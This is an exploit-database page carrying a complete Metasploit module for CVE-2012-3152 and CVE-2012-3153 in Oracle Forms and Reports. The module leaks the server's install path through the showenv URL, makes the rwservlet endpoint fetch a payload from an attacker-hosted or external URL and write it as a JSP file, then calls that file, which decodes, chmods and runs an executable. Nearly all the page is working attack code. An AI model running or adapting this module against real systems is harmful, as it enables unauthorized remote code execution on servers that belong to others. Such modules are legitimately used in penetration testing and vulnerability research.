header-logo
Suggest Exploit
vendor:
Oracle Forms and Reports
by:
miss_sudo <security[at]netinfiltration.com>, Mekanismen <mattias[at]gotroot.eu>
7.5
CVSS
HIGH
Remote Code Execution
CWE
Product Name: Oracle Forms and Reports
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE: CVE-2012-3152, CVE-2012-3153
CPE:
Metasploit:
Other Scripts:
Tags: cve,cve2012,oracle,rce,edb
CVSS Metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
Nuclei Metadata: {'max-request': 2, 'vendor': 'oracle', 'product': 'fusion_middleware'}
Platforms Tested: Windows, Linux
2012

Oracle Forms and Reports Remote Code Execution

This module uses two vulnerabilities in Oracle forms and reports to get remote code execution on the host. The showenv url can be used to disclose information about a server. A second vulnerability that allows arbitrary reading and writing to the host filesystem can then be used to write a shell from a remote url to a known local path disclosed from the previous vulnerability. The local path being accessible from a URL then allows us to perform the remote code execution using for example a .jsp shell. Tested on Windows and Oracle Forms and Reports 10.1.

Mitigation:

Source

Exploit-DB raw data:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'uri'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  Rank = GreatRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Oracle Forms and Reports Remote Code Execution',
      'Description'     => %q{
      This module uses two vulnerabilities in Oracle forms and reports to get remote code execution
      on the host. The showenv url can be used to disclose information about a server. A second
      vulnerability that allows arbitrary reading and writing to the host filesystem can then be
      used to write a shell from a remote url to a known local path disclosed from the previous
      vulnerability.

      The local path being accessable from an URL then allows us to perform the remote code
      execution using for example a .jsp shell.

      Tested on Windows and Oracle Forms and Reports 10.1.
      },
      'Author'          =>
        [
          'miss_sudo <security[at]netinfiltration.com>', # Vulnerability discovery
          'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ "CVE", "2012-3152" ],
          [ "CVE", "2012-3153" ],
          [ "OSVDB", "86395" ], # Matches CVE-2012-3152
          [ "OSVDB", "86394" ], # Matches CVE-2012-3153
          [ "EDB", "31253" ],
          [ 'URL', "http://netinfiltration.com" ]
        ],
      'Stance'          => Msf::Exploit::Stance::Aggressive,
      'Platform'        => ['win', 'linux'],
      'Targets'         =>
        [
          [ 'Linux',
            {
            'Arch' => ARCH_X86,
            'Platform' => 'linux'
            }
          ],
          [ 'Windows',
            {
            'Arch' => ARCH_X86,
            'Platform' => 'win'
            }
          ],
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'Jan 15 2014'
    ))
    register_options(
      [
        OptString.new('EXTURL', [false, 'An external host to request the payload from', "" ]),
        OptString.new('PAYDIR', [true, 'The folder to download the payload to', "/images/" ]),
        OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
      ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
      'method' => 'GET'
      })

    if res and res.code == 200
      if res.body =~ /\\(.*)\\showenv/
        vprint_good "#{peer} - Windows install detected "
        path = $1.gsub("\\", "/")
        vprint_status "#{peer} - Path:  #{path}"
      elsif res.body =~ /\/(.*)\/showenv/
        vprint_good "#{peer} - Linux install detected"
        vprint_status "#{peer} - Path:  #{$1}"
      else
        return Exploit::CheckCode::Safe
      end
    end

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
      'method' => 'GET',
       'vars_get' => {
       'report' => 'test.rdf',
       'desformat' => 'html',
       'destype' => 'cache',
       'JOBTYPE' => 'rwurl',
       'URLPARAMETER' => 'file:///'
       }
      })

    if res and res.code == 200 and res.body.downcase.exclude?("<html>")
      vprint_good "#{peer} - URLPARAMETER is vulnerable"
      return Exploit::CheckCode::Vulnerable
    else
      vprint_status "#{peer} - URLPARAMETER is not vulnerable"
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    @payload_url = ""
    @payload_name = rand_text_alpha(8+rand(8)) + ".jsp"
    @payload_dir = datastore['PAYDIR']
    @local_path = ""

    print_status "#{peer} - Querying showenv!"
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
      'method' => 'GET',
      })

    if res and res.code == 200
      if res.body =~ /\\(.*)\\showenv/
        print_good "#{peer} - Query succeeded!"
        print_status "#{peer} - Windows install detected "
        @local_path = $1.gsub("\\", "/")
        print_status "#{peer} - Path: #{@local_path }"
      elsif res.body =~ /\/(.*)\/showenv/
        print_good "#{peer} - Query succeeded!"
        print_status "#{peer} - Linux install detected"
        @local_path = $1
        print_status "#{peer} - Path:  #{@local_path }"
      else
        print_status "#{peer} - Query failed"
        fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
      end
    else
      fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
    end

    if datastore['EXTURL'].blank?
      print_status "#{peer} - Hosting payload locally ..."
      begin
        Timeout.timeout(datastore['HTTPDELAY']) {super}
      rescue Timeout::Error
      end
      exec_payload
    else
      print_status "#{peer} - Using external url for payload delivery ..."
      @payload_url = datastore['EXTURL']
      upload_payload
      exec_payload
    end
  end

  def primer
    @payload_url = get_uri
    @pl = gen_file_dropper
    upload_payload
  end

  def on_request_uri(cli, request)
    send_response(cli, @pl)
  end

  def upload_payload
    print_status "#{peer} - Uploading payload ..."
    path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
      'method' => 'GET',
      'encode_params' => false,
      'vars_get' => {
        'report' => 'test.rdf',
        'desformat' => 'html',
        'destype' => 'file',
        'desname' => path,
        'JOBTYPE' => 'rwurl',
        'URLPARAMETER' => @payload_url
       }
    })

    if res and res.code == 200
      print_good "#{peer} - Payload hopefully uploaded!"
    else
      print_status "#{peer} - Payload upload failed"
    end
  end

  def gen_file_dropper
    big_payload =  false #size matters :(

    gen_payload_name  = rand_text_alpha(8+rand(8))
    encoded_pl  = Rex::Text.encode_base64(generate_payload_exe)
    print_status "#{peer} - Building JSP shell ..."

    len = encoded_pl.length
    if len >= 60000 #java string size limit ~60k workaround
      print_status "#{peer} - Adjusting shell due to payload size"
      pl_first = encoded_pl.slice(0, 60000)
      pl_second = encoded_pl.slice(60000, len)
      big_payload = true
    end

    #embed our payload
    shell  = "<%@ page import=\"java.util.*,java.io.*, sun.misc.BASE64Decoder\"%>"
    shell += " <%"
    shell += " BASE64Decoder decoder = new BASE64Decoder();"
    #correct file suffix if windows
    if datastore['TARGET'] == 1
      shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".exe\");"
    else
      shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".tmp\");"
    end
    shell += " String path = temp.getAbsolutePath();"
    if big_payload
      shell += " byte [] pl = decoder.decodeBuffer(\"#{pl_first}\");"
      shell += " byte [] pltwo = decoder.decodeBuffer(\"#{pl_second}\");"

      shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
      shell += " ou.write(pl);"
      shell += " ou.close();"

      shell += " ou = new BufferedOutputStream(new FileOutputStream(path, true));"
      shell += " ou.write(pltwo);"
      shell += " ou.close();"
    else
      shell += " byte [] pl = decoder.decodeBuffer(\"#{encoded_pl}\");"
      shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
      shell += " ou.write(pl);"
      shell += " ou.close();"
    end
    #correct rights if linux host
    if datastore['TARGET'] == 0
      shell += " Process p = Runtime.getRuntime().exec(\"/bin/chmod 700 \" + path);"
      shell += " p.waitFor();"
    end
    shell += " Runtime.getRuntime().exec(path);"
    shell += "%>"

    return shell
  end

  def exec_payload
    print_status("#{peer} - Our payload is at: /reports#{@payload_dir}#{@payload_name}")
    print_status("#{peer} - Executing payload...")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "reports", @payload_dir, @payload_name),
      'method' => 'GET'
    })

    if res and res.code == 200
       print_good("#{peer} - Payload executed!")
    else
       print_status("#{peer} - Payload execution failed")
    end
  end
end